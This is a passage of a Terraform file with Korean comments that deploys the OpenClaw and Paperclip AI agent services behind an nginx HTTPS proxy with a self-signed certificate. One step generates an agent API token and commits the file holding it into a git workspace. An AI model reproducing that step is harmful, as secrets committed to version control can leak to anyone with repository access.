&amp;nbsp;&amp;nbsp;provisioner &quot;remote-exec&quot; {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;inline = [
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;set -e&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exec &amp;gt;&amp;gt; /home/ubuntu/ai_setup.log 2&amp;gt;&amp;amp;1&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo ''&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '=== Paperclip agent API key 사전 생성 ==='&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Paperclip이 완전히 올라올 때까지 최대 60초 대기
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;for i in $(seq 1 12); do&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;STATUS=$(curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:3100/api/health 2&amp;gt;/dev/null || echo '000')&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;if [ \&quot;$STATUS\&quot; = '200' ]; then echo '&amp;gt;&amp;gt;&amp;gt; Paperclip health OK'; break; fi&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;echo \&quot;&amp;gt;&amp;gt;&amp;gt; Paperclip 아직 준비 중... ($i/12)\&quot;; sleep 5&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;done&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# OpenClaw agent가 Paperclip에 등록될 때까지 최대 30초 대기
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;AGENT_ID=''&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;for i in $(seq 1 10); do&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;AGENT_ID=$(curl -s http://127.0.0.1:3100/api/agents -H 'x-paperclip-local-admin: 1' 2&amp;gt;/dev/null | python3 -c \&quot;import json,sys; rows=json.load(sys.stdin); a=next((r for r in rows if 'openclaw' in (r.get('name','') or '').lower()),None); print(a['id'] if a else '')\&quot; 2&amp;gt;/dev/null || echo '')&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;if [ -n \&quot;$AGENT_ID\&quot; ]; then echo \&quot;&amp;gt;&amp;gt;&amp;gt; Agent ID: $AGENT_ID\&quot;; break; fi&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;echo \&quot;&amp;gt;&amp;gt;&amp;gt; OpenClaw agent 등록 대기 중... ($i/10)\&quot;; sleep 3&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;done&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Agent ID 확인 실패 시 건너뜀 (설치 자체는 중단하지 않음)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;if [ -z \&quot;$AGENT_ID\&quot; ]; then echo '&amp;gt;&amp;gt;&amp;gt; WARN: agent 미등록 &amp;mdash; key 사전 생성 건너뜀'; exit 0; fi&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# agent API key 생성 (local admin 헤더 사용)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;KEY_JSON=$(curl -s -X POST http://127.0.0.1:3100/api/agents/$AGENT_ID/keys -H 'Content-Type: application/json' -H 'x-paperclip-local-admin: 1' -d '{\&quot;label\&quot;:\&quot;bootstrap-key\&quot;}' 2&amp;gt;/dev/null || echo '')&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;TOKEN=$(echo \&quot;$KEY_JSON\&quot; | python3 -c \&quot;import json,sys; d=json.load(sys.stdin); print(d.get('token',''))\&quot; 2&amp;gt;/dev/null || echo '')&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;KEY_ID=$(echo \&quot;$KEY_JSON\&quot; | python3 -c \&quot;import json,sys; d=json.load(sys.stdin); print(d.get('id',''))\&quot; 2&amp;gt;/dev/null || echo '')&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;if [ -z \&quot;$TOKEN\&quot; ]; then echo '&amp;gt;&amp;gt;&amp;gt; WARN: API key 생성 실패 &amp;mdash; 건너뜀'; exit 0; fi&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo \&quot;&amp;gt;&amp;gt;&amp;gt; API key 생성 완료 (keyId: $KEY_ID)\&quot;&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# ~/.openclaw/workspace/ 에 JSON 파일로 저장
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mkdir -p /home/ubuntu/.openclaw/workspace&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;python3 -c \&quot;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;import json, sys&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;token = '$TOKEN'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;key_id = '$KEY_ID'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;agent_id = '$AGENT_ID'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;import datetime&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;data = {'keyId': key_id, 'token': token, 'agentId': agent_id, 'createdAt': datetime.datetime.utcnow().isoformat() + 'Z'}&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;import pathlib&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;p = pathlib.Path('/home/ubuntu/.openclaw/workspace/paperclip-claimed-api-key.json')&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;p.write_text(json.dumps(data))&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;p.chmod(0o600)&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;print('&amp;gt;&amp;gt;&amp;gt; paperclip-claimed-api-key.json 저장 완료:', str(p))&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;\&quot;&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# git workspace에도 커밋
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cd /home/ubuntu/.openclaw/workspace&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;git add paperclip-claimed-api-key.json 2&amp;gt;/dev/null || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;git commit -m 'chore: add bootstrap paperclip api key' 2&amp;gt;/dev/null || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '&amp;gt;&amp;gt;&amp;gt; git commit 완료'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;# ── Phase 4: nginx HTTPS reverse proxy 설정 ────────────────
&amp;nbsp;&amp;nbsp;provisioner &quot;remote-exec&quot; {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;inline = [
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;set -e&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exec &amp;gt;&amp;gt; /home/ubuntu/ai_setup.log 2&amp;gt;&amp;amp;1&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo ''&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '=== nginx HTTPS 프록시 설정 ==='&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 자체 서명 SSL 인증서 생성 (10년 유효)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo mkdir -p /etc/nginx/ssl&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;if [ ! -f /etc/nginx/ssl/selfsigned.crt ]; then&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;sudo openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout /etc/nginx/ssl/selfsigned.key -out /etc/nginx/ssl/selfsigned.crt -subj '/CN=${local.server_ip}/O=OpenClaw/C=KR'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;echo '&amp;gt;&amp;gt;&amp;gt; SSL 인증서 생성 완료'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fi&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# nginx 설정 &amp;mdash; OpenClaw(443) + Paperclip(3443) HTTPS reverse proxy
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cat &amp;gt; /tmp/openclaw-ssl &amp;lt;&amp;lt; 'NGINXCONF'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;server {&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listen 443 ssl;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;server_name _;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssl_certificate&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /etc/nginx/ssl/selfsigned.crt;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssl_certificate_key /etc/nginx/ssl/selfsigned.key;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssl_protocols&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TLSv1.2 TLSv1.3;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;location / {&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_pass http://127.0.0.1:18789;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_http_version 1.1;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_set_header Upgrade $http_upgrade;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_set_header Connection \&quot;upgrade\&quot;;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_set_header Host $http_host;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_set_header X-Real-IP $remote_addr;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_set_header X-Forwarded-Proto https;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_read_timeout 86400;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_send_timeout 86400;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;}&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;server {&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listen 3443 ssl;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;server_name _;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssl_certificate&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /etc/nginx/ssl/selfsigned.crt;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssl_certificate_key /etc/nginx/ssl/selfsigned.key;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssl_protocols&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TLSv1.2 TLSv1.3;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;location / {&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_pass http://127.0.0.1:3100;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_http_version 1.1;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_set_header Upgrade $http_upgrade;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_set_header Connection \&quot;upgrade\&quot;;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_set_header Host $http_host;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_set_header X-Real-IP $remote_addr;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_set_header X-Forwarded-Proto https;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_read_timeout 86400;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_send_timeout 86400;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;}&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;NGINXCONF&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo mv /tmp/openclaw-ssl /etc/nginx/sites-available/openclaw-ssl&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo ln -sf /etc/nginx/sites-available/openclaw-ssl /etc/nginx/sites-enabled/&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo rm -f /etc/nginx/sites-enabled/default&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo nginx -t &amp;amp;&amp;amp; sudo systemctl restart nginx&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo systemctl enable nginx&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '&amp;gt;&amp;gt;&amp;gt; nginx HTTPS 프록시 활성화 완료'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;# ── Phase 5: PM2 상태 저장 &amp;amp; 재부팅 시 자동 실행 등록 ──────
&amp;nbsp;&amp;nbsp;provisioner &quot;remote-exec&quot; {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;inline = [
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;set -e&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exec &amp;gt;&amp;gt; /home/ubuntu/ai_setup.log 2&amp;gt;&amp;amp;1&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo ''&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '=== PM2 자동 시작 등록 ==='&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pm2 save --force&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo env PATH=$PATH:/usr/bin pm2 startup systemd -u ubuntu --hp /home/ubuntu || true&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 최종 상태 출력
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo ''&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '========================================================'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '=== 최종 상태 확인 ==='&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '========================================================'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pm2 list&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo ''&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo \&quot;Node.js: $(node -v)\&quot;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo \&quot;npm:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $(npm -v)\&quot;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo \&quot;pnpm:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(pnpm -v)\&quot;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo \&quot;pm2:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $(pm2 -v)\&quot;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo ''&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 서비스 바인딩 확인 (앱 + HTTPS 프록시)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '&amp;gt;&amp;gt;&amp;gt; 포트 바인딩 확인:'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo ss -tlnp | grep -E '18789|3100|443|3443' || echo '경고: 서비스 포트 미감지'&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo ''&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo \&quot;=== 완료: $(date '+%Y-%m-%d %H:%M:%S') ===\&quot;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;}
}

output &quot;instance_public_ip&quot; {
&amp;nbsp;&amp;nbsp;description = &quot;설치된 서버 공인 IP&quot;
&amp;nbsp;&amp;nbsp;value&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = local.server_ip
}

output &quot;openclaw_url&quot; {
&amp;nbsp;&amp;nbsp;description = &quot;OpenClaw Gateway URL (HTTPS)&quot;
&amp;nbsp;&amp;nbsp;value&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = &quot;https://${local.server_ip}&quot;
}

output &quot;paperclip_url&quot; {
&amp;nbsp;&amp;nbsp;description = &quot;Paperclip URL (HTTPS)&quot;
&amp;nbsp;&amp;nbsp;value&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = &quot;https://${local.server_ip}:3443&quot;
}

# terraform plan&amp;nbsp;&amp;nbsp;-target &quot;null_resource.install_ai_agents&quot;
# terraform apply -target &quot;null_resource.install_ai_agents&quot;

# ============================================================
# 설치 후 확인
# ============================================================

# PM2 프로세스 상태 확인
# ssh ubuntu@161.~.~.~.~ &quot;pm2 list&quot;
# 결과: openclaw, paperclip 모두 &quot;online&quot; 상태여야 함

# Discord 테스트
# 서버 채널에서 @claw 또는 슬래시 커맨드로 봇 테스트
# 예: @claw 안녕
#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /agents hi
# 응답 예: &quot;안녕하세요! 무엇을 도와드릴까요?&quot;

# API 할당량 확인
# ssh ubuntu@161.~.~.~.~ &quot;openclaw models status&quot;
